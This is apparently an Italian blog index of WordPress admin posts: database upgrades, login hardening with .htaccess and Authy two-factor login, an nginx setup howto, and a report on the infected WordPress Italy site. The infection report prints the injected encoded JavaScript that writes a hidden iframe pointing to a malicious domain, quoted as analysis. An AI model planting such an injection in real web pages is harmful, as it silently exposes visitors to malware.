WordPress: aggiornare il database da riga di comando

wordpress aggiornamento database

L’aggiornamento automatico di WordPress funziona alla grande nel 90% dei casi (ok, forse nell’80%…), ma una volta aggiornati i file (tutto sommato la parte più semplice della procedura di upgrade a una nuova versione) può venir richiesto un upgrade del database la prima volta che ci si collega alla schermata di login alla dashboard.

Accedendo a wp-login.php o wp-admin si viene reindirizzati alla URL “http://nomedominio/wp-admin/upgrade.php”, cioè lo script php di upgrade del database. E qui arrivano i dolori se il database da aggiornare non si limita a pochi MB ma arriva a pesare qualche GB. Con database molto pesanti il tempo di aggiornamento aumenta considerevolmente, il consumo di risorse di mysql (CPU e RAM) sulla macchina su cui si sta aggiornando schizza in alto e lo script upgrade.php può andare in timeout non riuscendo a terminare la procedura con successo. Una procedura di upgrade del database di WordPress che non si conclude in modo ottimale può comportare l’impossibilità di accedere ancora al backend del blog, con il messaggio “è necessario l’aggiornamento del database” che continua a riproporsi.

Aggiornamento database WordPress, come riaccedere al proprio blog

Le strade sono due per riaccedere al proprio WordPress: si accede via FTP o ssh al file /wp-includes/version.php e lo si modifica con un editor di testi cambiando il numero di versione del database inserendo l’identificativo della versione da cui si è effettuato l’upgrade. Ad esempio se aggiornavamo da WordPress 4.5.4 a WordPress 4.6.1 e non accediamo più al backend, la versione del database da inserire per poter accedere nuovamente al backend è la 36686, dovremo pertanto andare a togliere la versione del database relativa a WordPress 4.6.1 che è la 37965. La parte di codice interessata a questa modifica in version.php è la seguente:

Leggi tuttoWordPress: aggiornare il database da riga di comando

WordPress: two factor authentication con Authy

Da circa tre giorni sono inondato da tentativi di brute force contro il login di WordPress, le richieste arrivano con metodo HTTP “POST” e sono dirette verso “wp-login.php“. Gli IP utilizzati sono stati sempre differenti, dunque ho rinunciato a bloccarli, probabilmente si tratta di una botnet oppure di uno script che effettua un IP spoofing per evitare il blocco che ho impostato con il plugin Limit Login Attempts nel momento in cui un IP effettui due tentativi errati di login a WordPress.

Oltre a bloccare la cartella “wp-admin” con un file .htaccess ho deciso anche di bloccare l’accesso a wp-login.php con la seguente regola nel file .htaccess:

<FilesMatch "wp-login.php">
    AuthName "WordPress Admin"
    AuthType Basic
    AuthUserFile /path/to/authfile/.htpasswd
    require valid-user
</FilesMatch>

Fatto questo però mi sono detto: e se riescono a bucare la basic authentication in qualche modo? Allora ho deciso di aggiungere un altro layer di sicurezza abilitando l’autenticazione a due fattori in WordPress, la cosiddetta two factor authentication. Per farlo sono ricorso ad Authy, un servizio gratuito che consente di abilitare facilmente l’autenticazione a due fattori a qualsiasi servizio web o applicazione. La prima cosa da fare è registrarsi e scaricare l’app per il proprio smartphone iPhone (iOS), Android o BlackBerry. Fatto questo sarà necessario creare un’applicazione dal pannello di Authy utilizzando il pulsante “Create application” accessibile dallo “User Menu”. La generazione dell’applicazione consentirà di avere a disposizione due API key che saranno necessarie per il funzionamento del plugin che consente la two factor authentication su WordPress.

Fatto questo si può installare il plugin plugin Authy for WordPress, attivarlo e inserire le due API key generate in precedenza. A questo punto dovremo andare sul profilo utente dell’amministratore del nostro WordPress e abilitare l’autenticazione attraverso Authy cliccando su “Manage Authy Connection”.

authy wordpress

Da ora in poi per fare login su WordPress oltre allo username e la password dovremo inserire anche il token generato dall’app Authy sul nostro smartphone.

authy wordpress login

WordPress Italy è stato infettato

wordpress italy infetto

Questa mattina mi sono accorto per caso che nelle SERP di Google il sito www.wordpress-it.it, cioè WordPress Italy, risulta segnalato come sito infetto. Ecco la SERP di Google con evidenziato il messaggio “Questo sito potrebbe arrecare danni al tuo computer”:

wordpress italy infetto

Andando ad analizzare il sorgente del sito con Malzilla, utile per scaricare in modo sicuro il sito senza navigarci, appare chiaro come il problema risieda in un iframe che reindirizza al dominio vosstaniecorpov.com. Questo è l’iframe iniettato su WordPress Italy:

enc = "%3Ciframe%20src%3D%27http%3A//vosstaniecorpov.com/in.php%27%20width%3D%271%27%20height%3D%271%27%20frameborder%3D%270%27%3E%3C/iframe%3E"; 
dec = unescape(enc); 
document.write(dec);

Con una macchina virtuale ho navigato il sito con Firefox (6.0.2) e vengono effettuate anche delle chiamate a http://daitetrafu.com, segnalato anch’esso come sito malevolo (anche se stranamente non da VirusTotal ma solo dalla funzione di riconoscimento siti nocivi di Firefox e di Chrome) come si vede in figura:

dainetrafu sito malevolo

Difficile capire al momento quale sia la falla che è stata sfruttata dagli attaccanti, probabile ci sia una vulnerabilità nel tema usato da WordPress Italy oppure in qualche plugin dato che la versione di WordPress utilizzata è la 3.3 leggendo il file http://www.wordpress-it.it/readme.html.

Bookmark Delicious dal 8 ottobre fino al 10 ottobre

Questi sono i miei link dal 8 ottobre fino al 10 ottobre:

Bookmark Delicious dal 6 ottobre fino al 8 ottobre

Questi sono i miei link dal 6 ottobre fino al 8 ottobre:

WordPress: sidebar contestuali per categoria usando archive.php

Problema: visualizzare sidebar contestuali per le categorie figlie (descendant) di una categoria madre utilizzando un solo file del tema archive.php (vedere Template Hierarchy per conoscere i tipi e le funzioni di archive.php e degli altri file di un tema WordPress).

Difficoltà: se le categorie figlie sono molte non è consigliato creare un file del tema che usiamo, (es. category-nomecategoria.php) per ognuna, si avrebbe un numero elevato di file per ogni categoria rendendo troppo complessa la struttura del nostro tema.

Leggi tuttoWordPress: sidebar contestuali per categoria usando archive.php

Howto: Debian Squeeze+Nginx+WordPress

Nginx è uno tra i webserver open source che si sta diffondendo di più tra i sistemisti che ricerchino performance elevate e un consumo di risorse inferiore rispetto ad Apache (ma anche ad alternative “minimaliste” con Lighttpd). Il grosso neo di nginx è la poca documentazione, sul sito ufficiale c’è davvero poco, la cosa sarebbe in parte compensata da diversi articoli che però sono tutti più o meno imprecisi nella descrizione delle giuste configurazioni da apportare al webserver, soprattutto quando si vuole far funzionare WordPress. Quello che riporto è un howto, frutto dell’esperienza che ho avuto installando nginx su un VPS (sull’ottimo Quickweb), che spero sia di aiuto a quanti vogliano installare nginx su Debian Squeeze e servire pagine generate da WordPress.

La prima cosa da fare su Debian Squeeze è aggiungere il repository dotdeb al file “sources.list” per poter installare la versione 1.0 di nginx. Per farlo basterà dare da terminale come utente root i seguenti comandi:

nano /etc/apt/sources.list

aggiungiamo la seguente riga:

deb http://packages.dotdeb.org stable all

a questo punto dobbiamo aggiungere la chiave GnuPG così:

wget http://www.dotdeb.org/dotdeb.gpg
cat dotdeb.gpg | sudo apt-key add -
rm dotdeb.gpg

aggiorniamo il tutto con APT:

apt-get update

Adesso possiamo installare php5, php5-fpm, cioè il FastCGI Process Manager che ci consentirà di servire pagine PHP attraverso nginx, e ovviamente nginx stesso:

apt-get install php-apc php-auth php-net-smtp php-net-socket php-pear php5 php5-cgi php5-cli php5-common php5-curl php5-dev php5-gd php5-imagick php5-imap php5-mcrypt php5-mysql php5-pspell php5-sqlite php5-suhosin php5-xmlrpc php5-xsl php5-fpm nginx

fatto questo potremo installare anche MySQL server e client (in fase di installazione di MySQL server dovremo scegliere una password da impostare per l’utente root)

apt-get install mysql-server mysql-client

Impostiamo delle configurazioni personalizzate a nginx andando a modificare alcuni valori nel file di configurazione nginx.conf:

nano /etc/nginx/nginx.conf

client_max_body_size 20M;
client_body_buffer_size 128k;

a questo punto possiamo rimuovere il virtual host di default di nginx e crearne uno nuovo per il sito che dovremo servire:

cd /etc/nginx/sites-enabled
rm default

creiamo un file per il nostro sito

nano /etc/nginx/sites-available/www.bufferoverflow.it

Incolliamoci la seguente configurazione:

server {
listen 80;
server_name www.bufferoverflow.it bufferoverflow.it;

access_log /var/log/bof.access_log;
error_log /var/log/bof.error_log;

root /var/www/htdocs/www.bufferoverflow.it;
index index.php index.htm index.html;

try_files $uri $uri/ /index.php?q=$uri&$args;
location ~ .php$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/htdocs/www.bufferoverflow.it$fastcgi_script_name;
include fastcgi_params;
}
}

La riga “try_files $uri $uri/ /index.php?q=$uri&$args;” è fondamentale per il funzionamento di WordPress come anche le righe da “location ~ .php$ {” a “include fastcgi_params;” basilari per il funzionamento di php5-fpm.

Creiamo a questo punto un nuovo link simbolico per il virtual host creato sotto “sites-enabled“:

ln -s /etc/nginx/sites-available/www.bufferoverflow.it /etc/nginx/sites-enabled/www.bufferoverflow.it

Configuriamo php5-fpm andando a modificare il file “/etc/php5/fpm/pool.d/www.conf”, qui la scelta fondamentale da fare è se rendere FastCGI dinamico o statico, personalmente dovendo agire su un VPS con solo 300 MB di RAM ho preferito impostare come statico php5-fpm in modo tale da non trovarmi con un consumo di RAM eccessivo, inoltre ho limitato il numero di processi generati, questo è il valore da variare:

; Choose how the process manager will control the number of child processes.
; Possible Values:
; static - a fixed number (pm.max_children) of child processes;
; Note: This value is mandatory.
pm = static

inoltre ho variato il numero massimo di processi figli generati impostando “5”:

pm.max_children = 5

Molto importante è decidere se php5-fpm ascolterà su una porta o su un socket, personalmente ho optato al momento per farlo ascoltare sulla porta 9000, quella di default, su localhost, la riga è questa:

listen = 127.0.0.1:9000
;listen = /dev/shm/php-fastcgi.socket #l'ascolto su un socket dovrebbe migliorare le performance ma ancora non ho provato

Potete vedere il mio file di configurazione su Pastebin.

Apportate le dovute configurazioni dovrete riavviare sia nginx che php5-fpm.

Restart di nginx:

/etc/init.d/nginx restart

Restart php5-fpm:

/etc/init.d/php5-fpm restart

A questo punto dovremo installare WordPress, tralascio le operazioni da fare per l’installazione ma segnalo la procedura di creazione del database da linea di comando con MySQL client. La cosa importante per far funzionare adeguatamente i pretty permalink è ricorrere all’installazione di un plugin che consente di eliminare “index.php” dalle URL consentendo di lasciare la struttura di permalink scelta da noi, il plugin è nginx compatibility.

In conclusione, consiglio qualche link che mi ha aiutato notevolmente nell’installazione e configurazione di nginx:

  1. nginx + php-fpm + debian squeeze tutorial – the fastest way to host php!
  2. Howto nginx + wordpress + ubuntu shortest setup
  3. nginx wiki
  4. How To: Install NginX, PHP-FPM, MySQL, PHP 5.3.3 & WordPress on Ubuntu (Part 2)
  5. Installing Nginx With PHP5 And MySQL Support On Debian Lenny